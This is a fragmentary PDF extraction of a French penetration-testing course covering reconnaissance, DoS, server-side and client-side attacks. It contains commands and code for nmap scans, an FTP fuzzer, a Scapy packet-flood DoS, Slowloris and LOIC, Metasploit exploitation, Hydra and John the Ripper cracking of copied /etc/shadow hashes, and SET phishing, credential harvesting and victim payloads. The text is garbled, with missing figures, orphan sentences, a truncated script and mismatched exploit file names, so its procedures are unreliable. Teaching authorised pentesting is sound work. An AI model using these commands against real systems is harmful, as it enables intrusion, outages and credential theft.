Hacking Et Securite Avance-1 PDF
Hacking Et Securite Avance-1 PDF
Hacking Et Securite Avance-1 PDF
1
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
2
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
3
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Préface
Bonjour à tous,
La question que je me suis posée est "Pourquoi créer un tel document ?" Voilà la réponse :
Je tiens à remercier, énormément, Hamza KONDAH, pour son accessibilité et de m'avoir laissé une
chance de pouvoir m'exprimer en partageant ce document aux autres.
Merci aussi au site Wikipédia qui m'a permis de mieux comprendre certains termes qui me
semblaient techniquement compliqué.
Sachez que ce document résulte d'une charge de travail d'une cinquantaine d'heure, avec, bien sûr,
un sacrifice sur ma vie de famille. Alors pour faire vivre et évoluer ce document, n'hésitez pas à me
faire des retours (correction, améliorations, …) sur mon adresse mail :
gudbes[RemplacerCeciParUnArobase]protomail.com.
Pour finir, voici l'un des secrets pour réussir dans ce domaine, le travail, le travail, le travail.
4
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Pré-requis
Pour effectuer les différents tests, voici la liste des éléments que j'ai utilisés :
21/11/2019
5
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
≠
Test de pénétration :
Va plus loin que l’évaluation des risques :
Vérifie si les vulnérabilités trouvées sont des faux positifs ou pas
Time Frame
Définir la durée
Les outils
Définir les outils à utiliser pour chaque point.
21/11/2019
La partie prenante
Directe ou indirecte
6
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Le flag
Définir les niveaux de risques des vulnérabilités.
Le livrable
Méthodologie lors de l’écriture du rapport
Correction et amélioration
Indiquer les corrections et amélioration à faire pour corriger les failles.
Portée
Collecter les informations
Channel
Spécifier canal de communication à utiliser
Index
Indexer les canaux pour spécifier les types d’attaques qu’on va pouvoir utiliser
Vecteur
21/11/2019
7
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
o Les standards :
o Open Source
o Test et analyse
o Framework
o Niveau technique et manageriel
o Très riche niveau technique et contient plusieurs Baselines
8
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
9
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Il est possible de vérifier que les checksums des anciennes et nouvelles clés sont bien différents
# Pour vérifier que le service SSH est bien lancé en tâche de fond
$ netstat -antp
Connexions Internet actives (serveurs et établies)
Proto Recv-Q Send-Q Adresse locale Adresse distante Etat PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 4524/sshd
tcp 1 0 192.168.184.129:55508 192.99.200.113:80 CLOSE_WAIT 2810/http
tcp 0 0 192.168.184.129:55034 212.27.60.27:80 ESTABLISHED 2811/http
tcp6 0 0 :::22 :::* LISTEN 4524/sshd
21/11/2019
10
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
INFO :
L'outil "NetStat" permet d'afficher les connexions actives (ports ouverts, ...) et d'afficher les
statistiques de l'interface (Nombre de paquet envoyé, ...)
11
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
5. Identification
Seulement après ces étapes, on peut commencer la phase de recherche de vulnérabilité, suivi de la
phase d’exploitation.
21/11/2019
12
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
La cible peut nous identifier à tout moment mais plus nous allons vers l’analyse des vulnérabilités,
plus les chances de se faire détecter augmentent (IDS, …).
Il existe des techniques de camouflage comme par exemple : Ajuster le Stack IP, Nmap, ProxyChains
ou encore le réseau TOR.
Les recherches initiales doivent se baser principalement sur les personnes et Business liées à la cible.
Il s’agit là de la base du pentesteur : analyser tous les aspects pour avoir la plus grande surface
d’attaque et ainsi « connaître son ennemi ».
o Shodan
o Region Internet Registries [RIRs]
o Electronic Data Gathering, Analysis, and Retrieval [EDGAR]
o Google Hacking Database
Il faut toujours commencer par le site web de l’entreprise puis compléter par des informations au
niveau des BDD publics pour éventuellement utiliser l’ingénierie sociale.
21/11/2019
13
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
INFO :
- OPEN : On envoie une requête SYN, on reçoit une SYN+ACK de la cible et on ferme la
connexion avec un RST
- FILTERED : On envoie une requête SYN, on ne reçoit pas de réponse : indique généralement
un pare-feu quelque part
La commande « nmap » permet de connaitre les ports ouverts sur notre cible.
# Scan de ports pour une machine unique
$ nmap 192.168.1.12
# Scan de ports pour une portion d’adresse IP : ici de 192.168.1.1 à 192.168.1.20 et de 192.168.1.100
à 192.168.1.254
$ nmap 192.168.1.1-20,100-254
14
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
# Scan sur une machine cible avec choix des ports : ici les ports 21 et 80
$ nmap 192.168.1.12 -p 21,80
# Scan sur une machine cible avec plus de détail (mode verbose) -v : détaillé, -vv : très détaillé
$ nmap 192.168.1.12 -vv
# Scan en mode « rapide » : Ne scanne que les ports listés dans le fichier nmap-services
$ nmap 192.168.1.12 -F
# Scan permettant de cartographier les règles de pare-feu : ne détermine jamais les ports OPEN
# Envoie uniquement un flag ACK et qui doit répondre par une requête RST
# Si la réponse de la requête ACK est SYN+ACK, alors que les autres tests indiquent un port FILTRED.
# Attention backdoor possible
$ nmap -sA 192.168.1.12
# Scan idem que -sA mais avec une autre méthode (pour plus de détail :
https://nmap.org/book/scan-methods-window-scan.html)
$ nmap -sW 192.168.1.12
# Scan qui analyse les bannières applicatives des programmes : découverte du nom du logiciel ainsi
que la version
$ nmap -sV 192.168.1.12 -p 80
15
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
# Scan idem à -sV mais avec le détail des options disponibles sur le service
$ nmap -sV 192.168.1.12 -p 80 --version-trace
# Scan permettant de récupérer le système d’exploitation utilisé (complété avec l’option -vv pour
plus de détail)
$ nmap -O 192.168.1.12
# Scan rajoutant des octets en aléatoire dans la partie data (lors de la détection d’un pare-feu)
# NDRL : Semble assez puissant lors du test sur mon réseau
$ nmap 192.168.1.12 --data-length 4
16
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
6. Social Engineering
• Art Of Deception
• Social Engineering : The Art of Human Hacking
Cette technique peut être utilisée par les pentesteurs en cas de manque d’information sur la cible.
L’être humain représente le maillon le plus vulnérables dans une infrastructure.
o Profit : Pour les personnes qui jouent aux jeux de hasard : leur annoncer un gain
17
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Le Social Engineering Toolkit [SET], est une boîte à outils pour l’Ingénierie Sociale, développé par la
société TrustedSec. Elle est open-source, multiplateforme, écrite en python et propose diverses
attaques basées sur de l’hameçonnage informatique. On peut ainsi copier des pages web contenant
des formulaires (Facebook, banque, …). De plus, elle intègre un outil de mail-bombing permettant de
spammer les boites mails et les numéros de téléphone. Elle peut être utilisée avec Metasploit.
# Lancer le programme SET via le menu KALI -> 08 – Outils Exploitation -> social engineering toolkit
# Pour une meilleure finition, il est possible de lier www.facebook.com à 192.168.1.12 via le DNS
18
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
7. Dénis de service
7.1 Introduction
Une attaque par déni de service (abr. DoS attack pour Denial of Service attack en anglais) est une
attaque informatique ayant pour but de rendre indisponible un service, d'empêcher les utilisateurs
légitimes d'un service de l'utiliser. À l’heure actuelle la grande majorité de ces attaques se font à
partir de plusieurs sources, on parle alors d'attaque par déni de service distribuée (abr. DDoS attack
pour Distributed Denial of Service attack).
Une fois qu’une ressource est accessible via Internet, elle peut être sujette aux dénis de service.
Le DOS est difficile à stopper et peut être très couteux pour les sociétés, mais il existe des solutions
de contournement.
1
PC Zombie : ordinateur contrôlé à l'insu de son utilisateur par un cybercriminel.
2
Botnet : Programmes connectés à Internet exécutant certaines tâches.
7.2 Le Fuzzing
Le Fuzzing est une technique, pour tester les applications, qui consiste à injecter des données
aléatoires dans un programme et d’en étudier ses conséquences (bugs). Elle peut être intéressante
21/11/2019
19
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Fichiers périphériques
Variables d’environnement
Réseau
Limitation des ressources
Pour tester un exploit basé sur le fuzzing nous allons utiliser l’exemple du logiciel connu pour sa
vulnérabilité : CesarFTP 0.99g avec un script en python : ftp_fuzz.py
#Source : Livre "Kali Linux Network Scanning Cook" – Chapitre 6 "Denial of Service" – page 299
#!/usr/bin/python
import socket
import sys
if len(sys.argv) != 5:
print (
"Usage - ./ftp_fuzz.py [Target-IP] [Port Number] [Interval] [Maximum]")
print ("Example - ./ftp_fuzz.py 10.0.0.5 21 100 1000")
print ("Example will fuzz the defined FTP service with a series of line break ")
print (
"characters to include 100 '\\n's, 200 '\\n's, etc... up to the maximum of 1000")
sys.exit()
target = str(sys.argv[1])
port = int(sys.argv[2])
i = int(sys.argv[3])
interval = int(sys.argv[3])
max = int(sys.argv[4])
user = raw_input(str("Enter ftp username: "))
passwd = raw_input(str("Enter ftp password: "))
command = raw_input(str("Enter FTP command to fuzz: "))
20
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
NDLR :
Le script doit être lancé avec python2. Penser à désactiver le pare-feu de l’hôte hébergeant CesarFTP
# Lancement du script
$ python2 ftp_fuzz.py AdresseIpDuServeurCesarFTP NumeroPortFTP Interval Maximum
# Eléments à renseigner
$ username : anonymoous
$ password : n’importe quoi
$ FTP command to fuzz : MKD
Résultat : On peut donc s’apercevoir que le script nous permet d’identifier une vulnérabilité de type
Buffer OverFlow sur le logiciel CesarFTP 0.99g
7.3.1 Outils
❖ Métasploit
❖ Nmap NSE
❖ Exploit database
❖ Scapy : la référence
❖ Low Orbit Icon Cannon : Utilisé par Anonymous
❖ THC SSL DOS : DOS application web
❖ Slowloris : Peut faire tomber un serveur sans réaliser de DDOS
❖ …
21/11/2019
21
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
➢ SCAPY
# Lancement de la commande
$ scapy
# Envoi d’un nombre important (> 10000 par exemple) de paquet mal formé (ttl=0) qui va créer la
# confusion pour le serveur cible et provoquer un DoS
$send(IP(dst="AdresseIPDeLaCible",ttl=0)/TCP(),iface="NomDeLInterfaceReseauUtilisée",count=N
ombredepaquetEnvoyé)
21/11/2019
22
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Liste des options pour créer des paquets erronés qui provoqueront, si leur nombre sont élevés, des
DoS
21/11/2019
23
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
➢ SLOWLORIS.PL
Ce script lance des connexions HTTP (entêtes) à intervalles réguliers pour maintenir les connexions
TCP empêchant les autres connexions http (de client par exemple) de se connecter et arrivant à
terme à un Dénis de Service.
# Lancement du script
$ ./slowloris.pl -dns AdresseWebDeLaCible
➢ LOIC
Il s'agit d'un script, utilisé par Anonymous, pour provoquer des DoS de façon très user-friendly.
Téléchargeable ici : https://github.com/NewEraCracker/LOIC/
Pré-requis :
# Source : https://www.mono-project.com/download/stable/#download-lin-
debian
# Installation du script
21/11/2019
24
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
# Lancement du script
$ ./loic-net4.5.sh run
3. Lancer le DoS
➢ SIEGE
Outil utilisé par les pentesters pour établir des "stress tests" et tester ainsi la disponibilité d'une
application ou d'un site web.
# Lancement du script
$ siege AdresseDuSiteWeb
7.4.1 Introduction
RAPPEL :
Une machine zombie, souvent infecté à l'origine par une ver ou cheval de Troie, est un ordinateur
contrôlé à l'insu de son utilisateur par un cybercriminel, le plus souvent à des fins malveillantes. Il
permet, par exemple, d'attaquer (surtout par DDos) d'autres machines en dissimulant sa véritable
identité.
21/11/2019
25
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Pour terminer, à l'aide de BeFF, il faut générer un lien contaminé qu'il faudra partager avec de
futures machines zombie qui procèderont à un Ddos de la cible indiquée dans le fichier de
21/11/2019
configuration.
26
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
8. Attaques Serveur-Side
RAPPEL :
Un serveur est un système fournissant des services à des utilisateurs : SMB, FTP, IIS, …
❖ Skipfish
Ce programme permet de lister des fichiers / dossiers considérés comme "intéressant" et pouvant
mener à des vulnérabilités.
# Lancement du programme
# l'option -o correspond au dossier du rapport généré par skipfish : ici /root/desktop/RapportSkipfish
# L'option -S indique le dictionnaire utilisé (par défaut situé dans /usr/share/skipfish/dictionaries/)
# Le dernier argument est l'adresse de l'hôte à scanner : ici http://www.alphorm.com
$ skipfish -o /root/Desktop/RapportSkipfish -S /usr/share/skipfish/dictionaries/minimal.wl
http://www.alphorm.com
21/11/2019
27
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
❖ Dirbuster (Owasp)
Tout omme skipfish, Dirbuster permet de lister des fichiers / dossiers considérés comme
"intéressant" et pouvant mener à des vulnérabilités.
# Lancement du programme
$ dirbuster
Il ne nous reste qu'à compléter l'URL de la cible, le chemin du dictionnaire listant les principaux
répertoires à utiliser (les dictionnaires, par défaut, sont présents dans
/usr/share/dirbuster/wordlists/) et au besoin les options complémentaires.
Une fois le programme lancé, il n'y a plus qu'à observer les résultats.
21/11/2019
28
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
❖ Webslayer
Ce programme, utilisable sous Windows uniquement, permet lui aussi de lister des informations
vulnérables : dossiers, fichiers, … Il utilise l'attaque fuzzing.
Commençons par renseigner l'URL du site cible suivi de la commande FUZZ (exemple :
https://www.alphorm.com/FUZZ).
Nous attaquerons avec une attaque au dictionnaire (Payload type : Dictionary).
Les dictionnaires par défaut sont situés à l'emplacement suivant : C:\Program Files\Edge-
Security\WebSlayer-Beta\wordlist
Pour notre exemple, nous choisissons "Html encoder" dans la partie "Encoding FUZZ"
21/11/2019
29
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Une fois, le programme lancé, il ne nous reste qu'à regarder, si les informations trouvées sont
intéressantes pour la suite de notre exploitation.
❖ Nmap
❖ Nessus
Lorsque Nessus est installé sur votre machine, vous n'avez qu'à choisir la cible à scanner en y
adaptant les options souhaitées, pour avoir un rapport détaillé des vulnérabilités présentes et bien
plus encore (solutions, CVE, backdoor, …)
21/11/2019
30
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
INFO :
21/11/2019
31
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Une fois, le service à attaquer trouver (ici tomcat), il ne nous reste plus quand lancer metasploit pour
rechercher des vulnérabilités à exploiter (ici tomcat_mgr_deploy) en favorisant le "Rank" Excellent
qui nous donnera le plus de droit.
# affiche les options de l'exploit. L'option est obligatoire quand Required = Yes
$ show options
Pour notre cas, il nous faut connaitre les valeurs HttpPassword et HttpUsername pour aller plus loin.
Pour cela, nous allons utiliser une autre vulnérabilité de la liste précédente :
auxiliary/admin/http/tomcat_administration
# Nous renseignons les options obligatoires : l'adresse de la cible : RHOSTS et nous augmentons le
nom de threads pour accélérer l'exploit : THREADS.
$ set RHOSTS AdresseIPDeLaCible
$ set THREADS NombreDeThreads
21/11/2019
# Une fois terminée, nous pouvons vérifier que les options ont bien les bonnes valeurs
$ show options
32
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Pour continuer notre exploitation, nous allons ouvrir un shell et rechercher des dossiers/fichiers
"sensibles".
# Lancement d'un shell sous metasploit (meterpreter > n'est pas à taper)
$ meterpreter > shell
En possession de cette clé, nous allons "bruteforcer" l'accès à l'aide d'un exploit :
https://www.exploit-db.com/exploits/5720
# Téléchargement de l'exploit
$ wget https://www.exploit-db.com/download/5720
# Décompression du fichier.tar.bz2
$ tar xvf 5622.tar.bz2
# Récupérez la clé SSH (résultat de notre dernier exploit) de notre cible (partie surlignée uniquement)
# Génération du fichier.pub
$ grep -lr CléSSHRécupérée CheminContenantLesFichiersRSA.pub
# Pour terminer, test de la connexion en SSH à notre cible avec la clé RSA (fichier sans le .pub)
$ ssh -i Chemin/NomDeLaCléRSA root@AdresseIPDeLaCible
8.3.1 Introduction
L'attaque par force brute est une méthode utilisée en cryptanalyse pour trouver un mot de passe ou
une clé. Il s'agit de tester, une à une, toutes les combinaisons possibles.
Cette méthode est, en général, considérée comme la plus simple concevable. Elle permet de casser
tout mot de passe en un temps fini, indépendamment de la protection utilisée, mais le temps
augmente avec la longueur du mot de passe.
Cette méthode est souvent combinée avec l'attaque par dictionnaire et par table arc-en-ciel pour
trouver le secret plus rapidement.
21/11/2019
35
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Hydra est un outil développé par The Hacker's Choice [THC]. Il utilise des attaques brute-force ou
dictionnaires sur différents protocoles. C'est un outil très puissant, très rapide et très utilisé. Il
supporte le SSL et les méthodes : POST & GET. Attention aux faux positifs, il est important de
toujours revérifier à la main.
NDLR :
Ceci est un exemple et prendrait un temps important avant de trouver le mot de passe.
Il est possible d'utiliser une liste de username et de password. Dans notre test nous allons créer deux
fichier "username" et "password" contenant une liste aléatoire de login et mot de passe respective.
Maintenant nous allons lancer l'outil HYDRA avec en paramètre ces deux fichiers.
21/11/2019
36
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
# Lancement d'hydra avec notre liste "username" et "password" sur le service FTP de notre cible
# L'option -L attend le nom du fichier listant les logins à tester
# L'option -P attend le nom du fichier listant les mots de passe à tester
$ hydra -V -L FichierContenantLesLogins -P FichierContenantLesPasswords AdresseIPDeLaSource
NomDuServiceAAttaquer
Une fois le couple login/password trouvé, il ne reste plus qu'à se connecter au service sur la cible
L'intitulé de l'erreur
Dans le code source de la page web, recherche le paragraphe "form" et copier le.
21/11/2019
37
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
L'URL de la page
Pour continuer notre recherche d'information, nous allons utiliser le logiciel "burpsuite" que nous
allons lancer via la commande burpsuite dans un terminal. Ne pas oublier d'activer le proxy du
navigateur pour pouvoir intercepter les requêtes.
Dans le formulaire sur notre cible, indiquer le login / password de votre choix et valider. La requête
est interceptée par burpsuite.
La partie GET
Le cookie
NDLR :
Pour l'exemple, nous allons utiliser les mêmes fichiers "username" et "password" que
21/11/2019
précédemment.
38
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Une fois la commande terminée, on peut s'apercevoir que le mot de passe a été trouvé.
POUR DE VRAI :
Cette partie n'a pas fonctionné pour moi, hydra m'indiquait qu'une trentaine de login/password
étaient valides alors que le seul couple fonctionnant était admin/password.
Je n'ai pas trouvé l'origine du problème. De plus si vous avez un souci quelconque, essayez de mettre
la sécurité du site (DVWA Security) sur "LOW" et modifiez la dernière commande en conséquence
(security=low)
8.4.1 Introduction
Les mots de passe sont le principal mode d'authentification. L'outil de référence dans le domaine est
John The Ripper, rapide et facilement configurable, il peut vous permettre, lors d'une bonne
utilisation, un gain de temps important.
21/11/2019
John the ripper est un cracker de mots de passe en local disponible sous de nombreuses plateformes
(Linux, Windows, Mac OS etc.) et capable de casser de nombreux chiffrements : DES, BSDI, MD5,
SHA-256, SHA-512, bcrypt, LM Windows...
39
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Pour utiliser John the ripper, il suffit simplement de lui fournir un fichier contenant les hashes des
mots de passe à tester et de le laisser travailler. Il est aussi possible de forcer John à utiliser une
wordlist spécifique et de définir à quel format de hash il doit s’attaquer.
Nous allons commencer par attaquer le système Linux et plus particulièrement le fichier contenant
les mots de passe système.
# Nous allons copier les fichiers contenant les informations d'authentification de notre système KALI
$ cp /etc/passwd /root/CrackageBaseLinux
$ cp /etc/shadow /root/CrackageBaseLinux
NDLR :
Un appui sur la touche "ENTREE" permet d'afficher des informations sur l'avancement de cracking
Intéressons-nous maintenant au cracking de hash de type LM. Pour cela, rendez-vous sur le site :
https://www.tobtu.com/lmntlm.php où nous allons générer des mots de passes et leurs hashes (ici il
n'y a que LM Hashes qui nous intéresse) que nous allons stockés dans un deuxième temps dans un
21/11/2019
40
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
NDLR :
Un appui sur la touche "ENTREE" permet d'afficher des informations sur l'avancement de cracking
21/11/2019
41
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Il est possible de faire la même chose mais avec comme référence une wordlist.
$ john --wordlist=NomDeLaWordlist NomDuFichierContenantLesHashesLM
9. Attaques Client-Side
RAPPEL :
Pour lancer l'outil SET, rendez-vous dans le menu Kali -> 08 – Outils Exploitation -> social engineering
toolkit.
NDLR : Pensez à mettre à jour SET (4 - Update the Social-Engineer Toolkit) pour bénéficier des
dernières optimisations.
Pour nos prochains exemples, les lignes surlignées correspondent aux choix effectués
42
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
# Lorsqu'un POST est lancé pour la récupération d'information, vous aurez besoin d'un site pour le
rediriger. Nous choisissons ici, Google, qui est l'option la plus rapide.
# Modifiez le port d'écoute au besoin. Ici, nous conserverons celui par défaut (443)
# Indiquez l'adresse de notre attaquant KALI (où notre SET est en écoute)
$ set LHOST AdresseIPDeLAttaquantKALI
# désactivez l'option " ExitOnSession". De cette façon, vous serez toujours en mode d'écoute même si
la connexion entre l'attaquant et la cible est fermée
21/11/2019
# Lancement de l'exploit
$ exploit -j
43
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Nous pouvons maintenant essayer de nous connecter à partir d'un poste client sur l'adresse
http://AdresseIpDeLAttaquantKALI pour visualiser la page modèle de "Google' et ainsi vérifier que
notre exploit a été un succès.
# Nous choisissons cette fois ci la méthode d'attaque : Metasploit Browser Exploit Method
2) Metasploit Browser Exploit Method
44
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
NDLR :
Il est possible de savoir si une session a été activée pendant l'exécution des exploits avec la
commande : sessions
21/11/2019
45
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
La méthode Credential Harvester utilise le clonage d'un site Web ayant un champ nom
d'utilisateur et mot de passe et recueillera toutes les informations affichées sur le site.
La méthode TabNabbing attendra qu'un utilisateur se déplace vers un autre onglet, puis
rafraîchira la page vers quelque chose de différent.
Cette méthode utilise les remplacements d'iframe pour rendre le lien URL en surbrillance
légitime, mais lorsqu'on clique sur une fenêtre, celle-ci apparaît et est remplacée par le lien
malveillant. Vous pouvez modifier les paramètres de remplacement de lien dans set_config si
cela est trop lent ou trop rapide.
NDLR :
Il n'est pas possible d'utiliser l'option "Web Templates" avec la méthode "Multi-Attack Web".
46
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
# Sélectionnez le type d'attaque à utiliser, ici nous choisirons l'option 6 qui nous permettra de les
utiliser toutes
# Modifier le port d'écoute au besoin. Ici, nous conserverons celui par défaut (443)
# Choix de l'exploit exécuté coté navigateur, ici nous choisirons de l'autopwn (tous les exploits)
47
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
48
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Nous pouvons revenir au menu principal qui est coupé comme suit :
La méthode du phishing est une attaque d'usurpation d'adresse électronique qui cible une
organisation ou une personne en particulier, cherchant à accéder sans autorisation à des
renseignements de nature délicate.
Cette méthode permet d'injecter des exploits à travers un navigateur. Elle est souvent mise en place
au travers de sites clonés et modifiés
Cette attaque va nous permettre de créer un fichier autorun.inf et un payload. Lorsque le support
amovible (clé USB / CD / DVD) sera inséré, cela lancera automatiquement le payload.
# Nous pouvons choisir un format spécifique ou un exécutable directement généré par metasploit
Exemple d'injection :
49
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
La commande permet de créer le programme qui est exporté à l'adresse indiquée et qu'il faudra
"donner" à la victime
Si vous le souhaitez, vous pouvez lancer metasploit en mode écoute après la commande qui à générer
notre payload.
A l'aide de ce menu, nous allons créer un payload que nous pourrons distribuer à notre cible.
Exemple d'injection :
21/11/2019
50
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
La commande permet de créer le programme qui est exporté à l'adresse indiquée et qu'il faudra
"donner" à la victime
Attaque permettant l'envoi massif de mail vers une ou plusieurs adresses mails.
L'attaque "Arduino-Based" utilise le dispositif Arduino pour programmer l'appareil. Vous pouvez
utiliser les Teensyt qui ont un stockage embarqué et peuvent permettre l'exécution de code à
distance sur système physique. Comme les périphériques sont enregistrés comme clavier USB, il
contournera toute protection d'exécution automatique désactivée sur le système.
Une méthode d'attaque qui permet de répliquer un réseau sans fil. Lorsqu'une cible le rejoint, il
dirige son navigateur vers un site malveillant. Cette fonctionnalité utilise une combinaison d'outils
qui incluent AirBase-ng et DNS Spoof.
Le vecteur d'attaque QRCode créera un QRCode pour vous avec une URL malveillante qu'il ne restera
plus qu'à diffuser.
Exemple d'injection :
51
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
La commande permet de créer le programme qui est exporté à l'adresse indiquée et qu'il faudra
"donner" à la victime
Si vous le souhaitez, vous pouvez lancer metasploit en mode écoute après la commande qui à générer
notre payload.
Méthode utilisant des modules tiers : Google Analytics ou encore ceux que vous avez crées
9.2.1 Introduction
Par définition, le cracking de mot de passe est le fait de trouver les mots de passe à partir de données
stockées ou transmises par un ordinateur.
Un mot de passe est utilisé pour sécuriser différents types de systèmes (Linux, Windows ou encore
des applications …).
Notre objectif est de réduire le nombre de possibilités pour nous permettre de gagner du temps.
INFO :
21/11/2019
La méthode la plus facile pour permettre la récupération du mot de passe est le Social Engineering.
52
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Une rainbow table (littéralement table arc-en-ciel) est, en cryptanalyse, une structure de données
créée en 2003 par Philippe Oechslin de l'EPFL permettant de retrouver un mot de passe à partir de
son empreinte. Il s'agit d'une amélioration des compromis temps-mémoire proposés par Martin
Hellman dans les années 1980.
Les tables arc-en-ciel essayent de concilier taille de fichier et temps de calcul de façon raisonnable.
On dit que l’on réduit l’empreinte.
La seule chose que l’on demande à cette fonction de réduction c’est d’être cohérente, c’est-à-dire de
21/11/2019
toujours retourner le même mot de passe quand on lui donne la même empreinte en paramètre.
53
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
Pour stocker 100 millions de mots de passe il suffit donc, par exemple, de générer une Rainbow table
contenant 100000 lignes avec des chaines de longueur 1000. On stocke donc dans un fichier de 2 Mo
une table qui pèserait 2 Go dans le cas d’un simple dictionnaire.
Les fonctions de réduction provoquent des collisions. Une collision survient quand la fonction de
réduction retourne le même mot de passe pour deux empreintes différentes. Cela arrive forcément
car il y a toujours plus d’empreintes possibles que de mots de passe possibles.
On part d’un mot de passe → on calcule son empreinte → on calcule un nouveau mot de passe à
partir de l’empreinte → on calcule l’empreinte de ce mot de passe → on répète l’opération un
certain nombre de fois. Ensuite on stocke dans la table le mot de passe initial et l’empreinte finale.
• À partir d'une empreinte ("9d4e1e23"), on calcule la dernière réduction utilisée dans la table
et on regarde si le mot de passe apparaît dans la dernière colonne de la table (étape 1)
• Si le test échoue ("swdv" n'apparaît pas dans la table), on passe au point 2 où l'on calcule une
21/11/2019
54
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES
• Si le test réussit (ici "4457806c" apparaît en fin de chaîne et également dans la table), on
récupère le mot de passe à l'origine de la chaîne qui a abouti à "4457806c ". Il s'agit ici de
"aaaa" (étape3).
Pourquoi "table arc-en-ciel ? Nous savons maintenant qu'une empreinte est liée à un mot de passe
par une réduction. L'association de toutes ces réductions nous donne un schéma qui peut être
représenté sous forme d'arc-en-ciel.
L'efficacité des tables diminue de façon significative lorsque les fonctions de hachage sont combinées
à un sel. Un sel est une valeur aléatoire qu'on ajoute au mot de passe avant de le hacher pour obtenir
une empreinte.
Windows est le système d'exploitation le plus utilisé. Il est de plus en plus sécurisé, mais reste
toujours vulnérable.
Les mots de passe des comptes utilisateurs sont stockés dans un registre SAM (System Account
